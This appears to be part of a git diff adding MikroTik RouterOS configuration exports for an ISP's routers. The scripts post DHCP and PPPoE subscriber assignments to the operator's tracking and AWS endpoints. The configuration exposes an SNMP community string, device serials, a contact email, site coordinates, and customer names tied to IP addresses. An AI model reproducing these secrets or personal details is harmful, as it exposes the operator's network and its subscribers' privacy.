\n # Try url (gaiia)\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post h\
|
||||||
|
ttp-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bound\
|
||||||
|
\\\":\\\"1\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\\\
|
||||||
|
\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
|
||||||
|
\n :set success2 1;\
|
||||||
|
\n :log info \"PPPoE assignment successfully sent to gaiia AWS API for \
|
||||||
|
\$user / \$remoteAddr\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"PPPoE FAILED to send assignment to gaiia AWS API on att\
|
||||||
|
empt \$attempts out of \$max for \$user / \$remoteAddr\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n :if (\$success1 = 1 && \$success2 = 1) do {\
|
||||||
|
\n :set attempts \$max;\
|
||||||
|
\n } else {\
|
||||||
|
\n :delay 3s;\
|
||||||
|
\n }\
|
||||||
|
\n} while ( \$attempts < \$max )\
|
||||||
|
\n}\
|
||||||
|
\n" remote-address=cgnat use-upnp=no
|
||||||
|
/queue type
|
||||||
|
add kind=fq-codel name=fq-codel
|
||||||
|
/queue interface
|
||||||
|
set ether1 queue=fq-codel
|
||||||
|
set ether2-climax queue=fq-codel
|
||||||
|
set ether3 queue=fq-codel
|
||||||
|
set ether4 queue=fq-codel
|
||||||
|
set ether5 queue=fq-codel
|
||||||
|
set ether6 queue=fq-codel
|
||||||
|
set ether7 queue=fq-codel
|
||||||
|
set ether8 queue=fq-codel
|
||||||
|
set sfp-sfpplus1 queue=fq-codel
|
||||||
|
/routing id
|
||||||
|
add disabled=no id=10.254.254.111 name=id-1 select-dynamic-id=any \
|
||||||
|
select-from-vrf=main
|
||||||
|
/routing ospf instance
|
||||||
|
add disabled=no in-filter-chain=ospf-in name=ospf-instance-1 \
|
||||||
|
originate-default=never out-filter-chain=ospf-out router-id=id-1
|
||||||
|
/routing ospf area
|
||||||
|
add disabled=no instance=ospf-instance-1 name=ospf-area-1
|
||||||
|
/snmp community
|
||||||
|
set [ find default=yes ] addresses=204.110.188.0/22,10.0.0.0/8 name=\
|
||||||
|
kdyyJrT0Mm
|
||||||
|
/system logging action
|
||||||
|
add name=netsvr remote=204.110.191.229 remote-port=1514 target=remote
|
||||||
|
/interface bridge port
|
||||||
|
add bridge=494 interface=ether8 internal-path-cost=10 path-cost=10
|
||||||
|
add bridge=494 interface=ether7 internal-path-cost=10 path-cost=10
|
||||||
|
add bridge=494 interface=ether6 internal-path-cost=10 path-cost=10
|
||||||
|
add bridge=494 interface=ether5 internal-path-cost=10 path-cost=10
|
||||||
|
add bridge=management interface=vlan10_ether5 internal-path-cost=10 \
|
||||||
|
path-cost=10
|
||||||
|
add bridge=management interface=vlan10_ether6 internal-path-cost=10 \
|
||||||
|
path-cost=10
|
||||||
|
add bridge=management interface=vlan10_ether7 internal-path-cost=10 \
|
||||||
|
path-cost=10
|
||||||
|
add bridge=management interface=vlan10_ether8 internal-path-cost=10 \
|
||||||
|
path-cost=10
|
||||||
|
/ip firewall connection tracking
|
||||||
|
set icmp-timeout=30s tcp-close-wait-timeout=1m tcp-established-timeout=4h \
|
||||||
|
tcp-fin-wait-timeout=2m tcp-last-ack-timeout=30s \
|
||||||
|
tcp-syn-received-timeout=1m tcp-syn-sent-timeout=2m \
|
||||||
|
tcp-time-wait-timeout=2m udp-stream-timeout=2m
|
||||||
|
/ip neighbor discovery-settings
|
||||||
|
set discover-interface-list=!dynamic
|
||||||
|
/ip settings
|
||||||
|
set tcp-syncookies=yes
|
||||||
|
/interface pppoe-server server
|
||||||
|
add default-profile=494 disabled=no interface=494 max-mru=1492 max-mtu=1492 \
|
||||||
|
one-session-per-host=yes service-name=494
|
||||||
|
/ip address
|
||||||
|
add address=10.254.254.111 comment=Loopback interface=lo network=\
|
||||||
|
10.254.254.111
|
||||||
|
add address=10.250.1.65/29 interface=ether2-climax network=10.250.1.64
|
||||||
|
add address=204.110.188.94/27 interface=494 network=204.110.188.64
|
||||||
|
add address=10.10.175.254/20 interface=management network=10.10.160.0
|
||||||
|
add address=100.64.175.254/20 interface=494 network=100.64.160.0
|
||||||
|
/ip dhcp-client
|
||||||
|
# Interface not active
|
||||||
|
add interface=ether1
|
||||||
|
# Interface not active
|
||||||
|
add interface=ether3
|
||||||
|
/ip dhcp-server lease
|
||||||
|
add address=10.10.175.10 mac-address=78:8A:20:AC:C5:32
|
||||||
|
add address=10.10.175.11 mac-address=58:C1:7A:75:4D:F2
|
||||||
|
/ip dhcp-server network
|
||||||
|
add address=10.10.160.0/20 dns-server=204.110.191.240,204.110.191.20 domain=\
|
||||||
|
vntx.net gateway=10.10.175.254 ntp-server=204.110.191.19
|
||||||
|
add address=100.64.160.0/20 dns-server=204.110.191.240,204.110.191.20 domain=\
|
||||||
|
vntx.net gateway=100.64.175.254 ntp-server=204.110.191.19
|
||||||
|
/ip dns
|
||||||
|
set servers=9.9.9.9,1.1.1.1
|
||||||
|
/ip firewall address-list
|
||||||
|
add address=154.66.115.255 list=CPF
|
||||||
|
add address=10.0.0.0/8 list=CPF
|
||||||
|
add address=192.168.0.0/16 list=CPF
|
||||||
|
add address=172.16.0.0/12 list=CPF
|
||||||
|
/ip firewall filter
|
||||||
|
add action=accept chain=forward comment=\
|
||||||
|
"bypass fasttrack for MPLS spine (out)" out-interface=ether2-climax
|
||||||
|
add action=accept chain=forward comment=\
|
||||||
|
"bypass fasttrack for MPLS spine (in)" in-interface=ether2-climax
|
||||||
|
add action=fasttrack-connection chain=forward comment=\
|
||||||
|
"fasttrack established/related" connection-state=established,related
|
||||||
|
add action=drop chain=forward src-address-list=suspended
|
||||||
|
add action=drop chain=forward dst-address-list=suspended
|
||||||
|
add action=drop chain=forward dst-port=23 protocol=tcp
|
||||||
|
add action=accept chain=forward comment="accept established/related" \
|
||||||
|
connection-state=established,related
|
||||||
|
/ip ipsec profile
|
||||||
|
set [ find default=yes ] dh-group=modp2048 dpd-interval=2m \
|
||||||
|
dpd-maximum-failures=5 enc-algorithm=aes-256,aes-128 hash-algorithm=\
|
||||||
|
sha256
|
||||||
|
/ip proxy
|
||||||
|
set port=43133
|
||||||
|
/ip route
|
||||||
|
add disabled=no distance=1 dst-address=0.0.0.0/0 gateway=\
|
||||||
|
10.250.1.70%ether2-climax pref-src="" routing-table=main scope=30 \
|
||||||
|
target-scope=10
|
||||||
|
/ip service
|
||||||
|
set ftp address=204.110.188.0/22,10.0.0.0/8 disabled=yes
|
||||||
|
set telnet address=204.110.188.0/22,10.0.0.0/8 disabled=yes
|
||||||
|
set www address=204.110.188.0/22,10.0.0.0/8 disabled=yes
|
||||||
|
set www-ssl address=204.110.188.0/22,10.0.0.0/8
|
||||||
|
set ssh address=204.110.188.0/22,10.0.0.0/8 port=1022
|
||||||
|
set winbox address=204.110.188.0/22,10.0.0.0/8
|
||||||
|
set api address=204.110.188.0/22,10.0.0.0/8,100.64.0.0/10
|
||||||
|
set api-ssl address=0.0.0.0/0 certificate=myCa
|
||||||
|
/ip ssh
|
||||||
|
set host-key-type=ed25519 password-authentication=yes strong-crypto=yes
|
||||||
|
/ipv6 nd
|
||||||
|
set [ find default=yes ] advertise-dns=yes
|
||||||
|
/mpls interface
|
||||||
|
add interface=ether2-climax mpls-mtu=1508
|
||||||
|
/mpls ldp
|
||||||
|
add disabled=no lsr-id=10.254.254.111 transport-addresses=10.254.254.111 vrf=\
|
||||||
|
main
|
||||||
|
/mpls ldp interface
|
||||||
|
add interface=ether2-climax
|
||||||
|
/ppp aaa
|
||||||
|
set interim-update=15m use-radius=yes
|
||||||
|
/radius
|
||||||
|
add address=204.110.191.248 require-message-auth=no service=ppp src-address=\
|
||||||
|
204.110.188.94 timeout=300ms
|
||||||
|
add address=204.110.191.2 require-message-auth=no service=ppp src-address=\
|
||||||
|
204.110.188.94 timeout=300ms
|
||||||
|
add accounting-backup=yes address=45.76.56.5 disabled=yes \
|
||||||
|
require-message-auth=no service=ppp src-address=204.110.188.94 timeout=\
|
||||||
|
300ms
|
||||||
|
/routing bfd configuration
|
||||||
|
add disabled=no interfaces=ether2-climax min-rx=200ms min-tx=200ms \
|
||||||
|
multiplier=5 vrf=main
|
||||||
|
/routing filter rule
|
||||||
|
add chain=ospf-in disabled=no rule="accept;\r\
|
||||||
|
\n"
|
||||||
|
add chain=ospf-out disabled=no rule="accept;"
|
||||||
|
/routing ospf interface-template
|
||||||
|
add area=ospf-area-1 auth=sha512 auth-id=1 disabled=no interfaces=\
|
||||||
|
ether2-climax type=ptp use-bfd=yes
|
||||||
|
add area=ospf-area-1 disabled=no passive
|
||||||
|
/routing ospf static-neighbor
|
||||||
|
add address=10.250.1.70%ether2-climax area=ospf-area-1 disabled=no \
|
||||||
|
poll-interval=10s
|
||||||
|
/snmp
|
||||||
|
set contact=graham@vntx.net enabled=yes location="33.208204, -96.462530"
|
||||||
|
/system clock
|
||||||
|
set time-zone-name=America/Chicago
|
||||||
|
/system identity
|
||||||
|
set name=494
|
||||||
|
/system logging
|
||||||
|
add action=netsvr prefix=test1 topics=system,info
|
||||||
|
add action=netsvr prefix=test1 topics=warning
|
||||||
|
add action=netsvr prefix=test1 topics=critical
|
||||||
|
add action=netsvr prefix=test1 topics=error,!ospf,!route
|
||||||
|
/system ntp client
|
||||||
|
set enabled=yes
|
||||||
|
/system ntp client servers
|
||||||
|
add address=ntp.vntx.net
|
||||||
|
add address=0.us.pool.ntp.org
|
||||||
|
/system package update
|
||||||
|
set channel=long-term
|
||||||
|
/system routerboard settings
|
||||||
|
# Firmware upgraded successfully, please reboot for changes to take effect!
|
||||||
|
set auto-upgrade=yes
|
||||||
|
/system scheduler
|
||||||
|
add name=reboot on-event="/system reboot" policy=\
|
||||||
|
ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon \
|
||||||
|
start-date=2025-02-16 start-time=03:40:00
|
||||||
441
mikrotik-tool/982.rsc
Normal file
441
mikrotik-tool/982.rsc
Normal file
|
|
@ -0,0 +1,441 @@
|
||||||
|
# 2026-05-08 17:46:02 by RouterOS 7.21.4
|
||||||
|
# software id = FUVS-HCM5
|
||||||
|
#
|
||||||
|
# model = CCR1009-7G-1C-1S+
|
||||||
|
# serial number = E3210FA5B025
|
||||||
|
/interface bridge
|
||||||
|
add name=982 port-cost-mode=short
|
||||||
|
add name=mgmt port-cost-mode=short
|
||||||
|
/interface ethernet
|
||||||
|
set [ find default-name=ether7 ] l2mtu=9000 name=ether7-380
|
||||||
|
/interface vlan
|
||||||
|
add interface=ether1 name=vlan10_ether1 vlan-id=10
|
||||||
|
add interface=ether2 name=vlan10_ether2 vlan-id=10
|
||||||
|
add interface=ether3 name=vlan10_ether3 vlan-id=10
|
||||||
|
add interface=ether4 name=vlan10_ether4 vlan-id=10
|
||||||
|
add interface=ether5 name=vlan10_ether5 vlan-id=10
|
||||||
|
add interface=ether6 name=vlan10_ether6 vlan-id=10
|
||||||
|
/interface lte apn
|
||||||
|
set [ find default=yes ] ip-type=ipv4 use-network-apn=no
|
||||||
|
/interface wireless security-profiles
|
||||||
|
set [ find default=yes ] supplicant-identity=MikroTik
|
||||||
|
/ip ipsec proposal
|
||||||
|
set [ find default=yes ] auth-algorithms=sha256 enc-algorithms=\
|
||||||
|
aes-256-cbc,aes-128-cbc pfs-group=modp2048
|
||||||
|
/ip pool
|
||||||
|
add name=mgmt ranges=10.10.48.1-10.10.62.254
|
||||||
|
add name=public ranges=204.110.189.1-204.110.189.29
|
||||||
|
add name=cgnat ranges=100.64.48.1-100.64.62.199
|
||||||
|
/ip dhcp-server
|
||||||
|
add address-pool=mgmt interface=mgmt lease-script="{\
|
||||||
|
\n:local url \"https://xtjlpnubrg.execute-api.us-east-1.amazonaws.com/prod\
|
||||||
|
uction/on-start-workflow-execution/6f19a48f-04f7-40c1-a4e0-8cb66df99213/cd\
|
||||||
|
c24944-c947-4e01-9c54-07a1653d2e3e\"\
|
||||||
|
\n:local url2 \"https://iptrack.vntx.net/api/dhcp\"\
|
||||||
|
\n:local max 1\
|
||||||
|
\n\
|
||||||
|
\n:local attempts 0\
|
||||||
|
\n:local success1 0\
|
||||||
|
\n:local success2 0\
|
||||||
|
\n:do {\
|
||||||
|
\n :set attempts (\$attempts+1);\
|
||||||
|
\n :if (\$leaseBound = 0) do {\
|
||||||
|
\n # Try url2 (iptrack.vntx.net) - deassignment\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=pos\
|
||||||
|
t http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
|
||||||
|
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
|
||||||
|
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\"}\"\
|
||||||
|
\n :set success1 1;\
|
||||||
|
\n :log info \"DHCP deassignment successfully sent to iptrack.vntx.ne\
|
||||||
|
t for \$leaseActMAC / \$leaseActIP\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"DHCP FAILED to send deassignment to iptrack.vntx.net \
|
||||||
|
on attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n # Try url (gaiia) - deassignment\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post\
|
||||||
|
\_http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
|
||||||
|
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
|
||||||
|
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
|
||||||
|
\\\":\\\"\\\"}\"\
|
||||||
|
\n :set success2 1;\
|
||||||
|
\n :log info \"DHCP deassignment successfully sent to gaiia AWS API f\
|
||||||
|
or \$leaseActMAC / \$leaseActIP\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"DHCP FAILED to send deassignment to gaiia AWS API on \
|
||||||
|
attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n :if (\$success1 != 1 || \$success2 != 1) do={\
|
||||||
|
\n :delay 3s;\
|
||||||
|
\n }\
|
||||||
|
\n } else {\
|
||||||
|
\n :delay 1s;\
|
||||||
|
\n :local remoteID [/ip dhcp-server lease get [find where address=\$lea\
|
||||||
|
seActIP] agent-remote-id];\
|
||||||
|
\n\
|
||||||
|
\n # Try url2 (iptrack.vntx.net) - assignment\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=pos\
|
||||||
|
t http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
|
||||||
|
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
|
||||||
|
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
|
||||||
|
\\\":\\\"\$remoteID\\\"}\"\
|
||||||
|
\n :set success1 1;\
|
||||||
|
\n :log info \"DHCP assignment successfully sent to iptrack.vntx.net \
|
||||||
|
for \$leaseActMAC / \$leaseActIP / \$remoteID\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"DHCP FAILED to send assignment to iptrack.vntx.net on\
|
||||||
|
\_attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP / \$remoteID\"\
|
||||||
|
;\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n # Try url (gaiia) - assignment\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post\
|
||||||
|
\_http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
|
||||||
|
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
|
||||||
|
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
|
||||||
|
\\\":\\\"\$remoteID\\\"}\"\
|
||||||
|
\n :set success2 1;\
|
||||||
|
\n :log info \"DHCP assignment successfully sent to gaiia AWS API for\
|
||||||
|
\_\$leaseActMAC / \$leaseActIP / \$remoteID\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"DHCP FAILED to send assignment to gaiia AWS API on at\
|
||||||
|
tempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP / \$remoteID\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n :if (\$success1 != 1 || \$success2 != 1) do={\
|
||||||
|
\n :delay 30s;\
|
||||||
|
\n }\
|
||||||
|
\n }\
|
||||||
|
\n :if (\$success1 = 1 && \$success2 = 1) do {\
|
||||||
|
\n :set attempts \$max;\
|
||||||
|
\n }\
|
||||||
|
\n} while ( \$attempts < \$max )\
|
||||||
|
\n}\
|
||||||
|
\n" lease-time=10m name=mgmt
|
||||||
|
/ip smb users
|
||||||
|
set [ find default=yes ] disabled=yes
|
||||||
|
/ppp profile
|
||||||
|
add local-address=100.64.63.253 name=982 on-down="{\
|
||||||
|
\n:local url \"https://xtjlpnubrg.execute-api.us-east-1.amazonaws.com/prod\
|
||||||
|
uction/on-start-workflow-execution/6f19a48f-04f7-40c1-a4e0-8cb66df99213/0a\
|
||||||
|
7f4443-fc8a-4fe0-807c-f535d2aa1865\"\
|
||||||
|
\n:local url2 \"https://iptrack.vntx.net/api/pppoe\"\
|
||||||
|
\n:local max 1\
|
||||||
|
\n\
|
||||||
|
\n:local localAddr \$\"local-address\"\
|
||||||
|
\n:local remoteAddr \$\"remote-address\"\
|
||||||
|
\n:local callerId \$\"caller-id\"\
|
||||||
|
\n:local calledId \$\"called-id\"\
|
||||||
|
\n:local interfaceName [/interface get \$interface name]\
|
||||||
|
\n\
|
||||||
|
\n:local attempts 0\
|
||||||
|
\n:local success1 0\
|
||||||
|
\n:local success2 0\
|
||||||
|
\n:do {\
|
||||||
|
\n :set attempts (\$attempts+1);\
|
||||||
|
\n\
|
||||||
|
\n # Try url2 (iptrack.vntx.net)\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=post \
|
||||||
|
http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"boun\
|
||||||
|
d\\\":\\\"0\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\
|
||||||
|
\\\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
|
||||||
|
\n :set success1 1;\
|
||||||
|
\n :log info \"PPPoE deassignment successfully sent to iptrack.vntx.net\
|
||||||
|
\_for \$user / \$remoteAddr\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"PPPoE FAILED to send deassignment to iptrack.vntx.net o\
|
||||||
|
n attempt \$attempts out of \$max for \$user / \$remoteAddr\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n # Try url (AWS API)\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post h\
|
||||||
|
ttp-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bound\
|
||||||
|
\\\":\\\"0\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\\\
|
||||||
|
\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
|
||||||
|
\n :set success2 1;\
|
||||||
|
\n :log info \"PPPoE deassignment successfully sent to gaiia AWS API fo\
|
||||||
|
r \$user / \$remoteAddr\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"PPPoPoE FAILED to send deassignment to gaiia AWS API on\
|
||||||
|
\_attempt \$attempts out of \$max for \$user / \$remoteAddr\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n :if (\$success1 = 1 && \$success2 = 1) do {\
|
||||||
|
\n :set attempts \$max;\
|
||||||
|
\n } else {\
|
||||||
|
\n :delay 3s;\
|
||||||
|
\n }\
|
||||||
|
\n} while ( \$attempts < \$max )\
|
||||||
|
\n}\
|
||||||
|
\n" on-up="{\
|
||||||
|
\n:local url \"https://xtjlpnubrg.execute-api.us-east-1.amazonaws.com/prod\
|
||||||
|
uction/on-start-workflow-execution/6f19a48f-04f7-40c1-a4e0-8cb66df99213/0a\
|
||||||
|
7f4443-fc8a-4fe0-807c-f535d2aa1865\"\
|
||||||
|
\n:local url2 \"https://iptrack.vntx.net/api/pppoe\"\
|
||||||
|
\n:local max 5\
|
||||||
|
\n\
|
||||||
|
\n:local localAddr \$\"local-address\"\
|
||||||
|
\n:local remoteAddr \$\"remote-address\"\
|
||||||
|
\n:local callerId \$\"caller-id\"\
|
||||||
|
\n:local calledId \$\"called-id\"\
|
||||||
|
\n:local interfaceName [/interface get \$interface name]\
|
||||||
|
\n\
|
||||||
|
\n:local attempts 0\
|
||||||
|
\n:local success1 0\
|
||||||
|
\n:local success2 0\
|
||||||
|
\n:do {\
|
||||||
|
\n :set attempts (\$attempts+1);\
|
||||||
|
\n\
|
||||||
|
\n # Try url2 (iptrack.vntx.net)\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=post \
|
||||||
|
http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"boun\
|
||||||
|
d\\\":\\\"1\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\
|
||||||
|
\\\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
|
||||||
|
\n :set success1 1;\
|
||||||
|
\n :log info \"PPPoE assignment successfully sent to iptrack.vntx.net f\
|
||||||
|
or \$user / \$remoteAddr\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"PPPoE FAILED to send assignment to iptrack.vntx.net on \
|
||||||
|
attempt \$attempts out of \$max for \$user / \$remoteAddr\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n # Try url (gaiia)\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post h\
|
||||||
|
ttp-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bound\
|
||||||
|
\\\":\\\"1\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\\\
|
||||||
|
\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
|
||||||
|
\n :set success2 1;\
|
||||||
|
\n :log info \"PPPoE assignment successfully sent to gaiia AWS API for \
|
||||||
|
\$user / \$remoteAddr\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"PPPoE FAILED to send assignment to gaiia AWS API on att\
|
||||||
|
empt \$attempts out of \$max for \$user / \$remoteAddr\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n :if (\$success1 = 1 && \$success2 = 1) do {\
|
||||||
|
\n :set attempts \$max;\
|
||||||
|
\n } else {\
|
||||||
|
\n :delay 3s;\
|
||||||
|
\n }\
|
||||||
|
\n} while ( \$attempts < \$max )\
|
||||||
|
\n}\
|
||||||
|
\n" remote-address=cgnat
|
||||||
|
/queue type
|
||||||
|
add kind=fq-codel name=fq-codel
|
||||||
|
/queue interface
|
||||||
|
set combo1 queue=fq-codel
|
||||||
|
set ether1 queue=fq-codel
|
||||||
|
set ether2 queue=fq-codel
|
||||||
|
set ether3 queue=fq-codel
|
||||||
|
set ether4 queue=fq-codel
|
||||||
|
set ether5 queue=fq-codel
|
||||||
|
set ether6 queue=fq-codel
|
||||||
|
set ether7-380 queue=fq-codel
|
||||||
|
set sfp-sfpplus1 queue=fq-codel
|
||||||
|
/routing bgp template
|
||||||
|
set default disabled=no
|
||||||
|
/routing id
|
||||||
|
add disabled=no id=10.254.254.110 name=id-1 select-dynamic-id=""
|
||||||
|
/routing ospf instance
|
||||||
|
add disabled=no in-filter-chain=ospf-in name=default-v2 out-filter-chain=\
|
||||||
|
ospf-out redistribute=connected router-id=id-1
|
||||||
|
add disabled=no name=default-v3 router-id=id-1 version=3
|
||||||
|
/routing ospf area
|
||||||
|
add disabled=no instance=default-v2 name=backbone-v2
|
||||||
|
add disabled=no instance=default-v3 name=backbone-v3
|
||||||
|
/snmp community
|
||||||
|
set [ find default=yes ] addresses=204.110.188.0/22,10.0.0.0/8 name=\
|
||||||
|
kdyyJrT0Mm
|
||||||
|
/system logging action
|
||||||
|
add name=logs remote=204.110.191.229 remote-port=1514 src-address=\
|
||||||
|
10.254.254.110 target=remote
|
||||||
|
/interface bridge port
|
||||||
|
add bridge=982 ingress-filtering=no interface=ether1 internal-path-cost=10 \
|
||||||
|
path-cost=10
|
||||||
|
add bridge=982 ingress-filtering=no interface=ether2 internal-path-cost=10 \
|
||||||
|
path-cost=10
|
||||||
|
add bridge=982 ingress-filtering=no interface=ether3 internal-path-cost=10 \
|
||||||
|
path-cost=10
|
||||||
|
add bridge=982 ingress-filtering=no interface=ether4 internal-path-cost=10 \
|
||||||
|
path-cost=10
|
||||||
|
add bridge=982 ingress-filtering=no interface=ether5 internal-path-cost=10 \
|
||||||
|
path-cost=10
|
||||||
|
add bridge=982 ingress-filtering=no interface=ether6 internal-path-cost=10 \
|
||||||
|
path-cost=10
|
||||||
|
add bridge=mgmt ingress-filtering=no interface=vlan10_ether1 \
|
||||||
|
internal-path-cost=10 path-cost=10
|
||||||
|
add bridge=mgmt ingress-filtering=no interface=vlan10_ether2 \
|
||||||
|
internal-path-cost=10 path-cost=10
|
||||||
|
add bridge=mgmt ingress-filtering=no interface=vlan10_ether3 \
|
||||||
|
internal-path-cost=10 path-cost=10
|
||||||
|
add bridge=mgmt ingress-filtering=no interface=vlan10_ether4 \
|
||||||
|
internal-path-cost=10 path-cost=10
|
||||||
|
add bridge=mgmt ingress-filtering=no interface=vlan10_ether5 \
|
||||||
|
internal-path-cost=10 path-cost=10
|
||||||
|
add bridge=mgmt ingress-filtering=no interface=vlan10_ether6 \
|
||||||
|
internal-path-cost=10 path-cost=10
|
||||||
|
add bridge=982 interface=combo1
|
||||||
|
/ip firewall connection tracking
|
||||||
|
set icmp-timeout=30s tcp-close-wait-timeout=1m tcp-established-timeout=4h \
|
||||||
|
tcp-fin-wait-timeout=2m tcp-last-ack-timeout=30s \
|
||||||
|
tcp-syn-received-timeout=1m tcp-syn-sent-timeout=2m \
|
||||||
|
tcp-time-wait-timeout=2m udp-stream-timeout=2m
|
||||||
|
/ip settings
|
||||||
|
set tcp-syncookies=yes
|
||||||
|
/interface pppoe-server server
|
||||||
|
add authentication=mschap2 default-profile=982 disabled=no interface=982 \
|
||||||
|
one-session-per-host=yes service-name=982
|
||||||
|
/ip address
|
||||||
|
add address=10.254.254.110 interface=lo network=10.254.254.110
|
||||||
|
add address=10.250.1.33/29 interface=ether7-380 network=10.250.1.32
|
||||||
|
add address=10.10.63.254/20 interface=mgmt network=10.10.48.0
|
||||||
|
add address=204.110.188.126/27 interface=982 network=204.110.188.96
|
||||||
|
add address=100.64.63.254/20 comment="New CGNAT subnet" interface=982 \
|
||||||
|
network=100.64.48.0
|
||||||
|
/ip dhcp-server lease
|
||||||
|
add address=10.10.63.2 mac-address=F4:92:BF:2F:29:7E
|
||||||
|
add address=10.10.63.3 mac-address=F4:92:BF:2F:29:93
|
||||||
|
add address=10.10.63.4 mac-address=F4:92:BF:2F:29:8F
|
||||||
|
add address=10.10.63.5 mac-address=F4:92:BF:2F:1C:0D
|
||||||
|
add address=10.10.63.6 mac-address=F4:92:BF:2F:08:38
|
||||||
|
add address=10.10.63.1 client-id=1:d0:21:f9:f0:f5:23 mac-address=\
|
||||||
|
D0:21:F9:F0:F5:23
|
||||||
|
/ip dhcp-server network
|
||||||
|
add address=10.10.48.0/20 dns-server=204.110.191.240,204.110.191.20 domain=\
|
||||||
|
vntx.net gateway=10.10.63.254 ntp-server=204.110.191.19
|
||||||
|
add address=100.64.28.0/22 dns-server=204.110.191.240,204.110.191.20 domain=\
|
||||||
|
vntx.net gateway=100.64.31.254 ntp-server=204.110.191.19
|
||||||
|
/ip dns
|
||||||
|
set servers=9.9.9.9,1.1.1.1
|
||||||
|
/ip firewall address-list
|
||||||
|
add address=100.64.35.199 comment="Scott Anderson (2203)" list=BusinessUltra
|
||||||
|
add address=100.64.35.199 comment="Scott Anderson (2203)" list=Active
|
||||||
|
add address=100.64.35.198 comment="Jose Lucas (2370)" list=Active
|
||||||
|
add address=100.64.35.197 comment="Joshua Soliz (2394)" list=\
|
||||||
|
ResidentialAdvanced
|
||||||
|
add address=100.64.35.197 comment="Joshua Soliz (2394)" list=Active
|
||||||
|
add address=100.64.35.196 comment="Corey Ball (2318)" list=Active
|
||||||
|
add address=100.64.35.194 comment="Craig Hovde (2373)" list=\
|
||||||
|
ResidentialAdvanced
|
||||||
|
add address=100.64.35.194 comment="Craig Hovde (2373)" list=Active
|
||||||
|
add address=100.64.35.195 comment="Juan Alonzo (198)" list=Active
|
||||||
|
add address=100.64.35.198 comment="Juan Alonzo (198)" list=ResidentialBasic
|
||||||
|
add address=100.64.35.196 comment="David Villanueva (109)" list=\
|
||||||
|
ResidentialBasic
|
||||||
|
add address=100.64.35.195 comment="Joshua Soliz (2394)" list=\
|
||||||
|
ResidentialAdvanced
|
||||||
|
add address=100.64.35.193 comment="Jose Lucas (2370)" list=\
|
||||||
|
ResidentialAdvanced
|
||||||
|
